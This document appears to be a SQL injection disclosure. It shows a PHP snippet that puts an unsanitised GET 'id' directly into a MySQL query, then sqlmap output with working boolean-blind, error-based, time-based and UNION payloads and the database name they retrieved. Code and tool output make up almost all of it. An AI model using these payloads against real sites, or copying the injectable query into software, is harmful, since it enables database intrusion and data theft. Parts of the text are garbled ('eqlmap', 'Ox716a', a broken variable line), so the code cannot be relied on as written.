\$1a=_GET[1d];
\$query=mysqli_query(\$conn,"SELECT * FROM `news` WHERE `id`='\$id'");
if (\$row=mysqli_fetch_assoc(\$query)) {
 \$heading=\$row['heading'];
 \$full_news=\$row['full_news'];
 echo ' '.\$full_news;

Vulnerability proof :

eqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=5' AND 1541=1541 AND 'nLru'='nLru Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=5' OR (SELECT 7783 FROM(SELECT COUNT(*), CONCAT(Ox716a787a71, (SELECT (ELT(7783=7783,1))), 0x717a626a71, FLO
(RAND(0)*2))x FROM INFORMATION_SCHEMA. PLUGINS GROUP BY x)a) AND 'PWwP' = 'PWwP Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=5' AND (SELECT 3751 FROM (SELECT(SLEEP(5)))Pmjv) AND 'KdIW'='KdIW Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-1486' UNION ALL SELECT NULL, NULL, CONCAT(0x716a787a71, 0x745754427372635868494e7a675272624f6d465670475268
556644556616952695341734a4168, 0x717a626a71)------14:29:48] [INFO] the back-end DBMS is MySQL ack-end DBMS: MySQL >= 5.0 (MariaDB fork) 14:29:48] [INFO] fetching current database urrent database: 'fieldatc'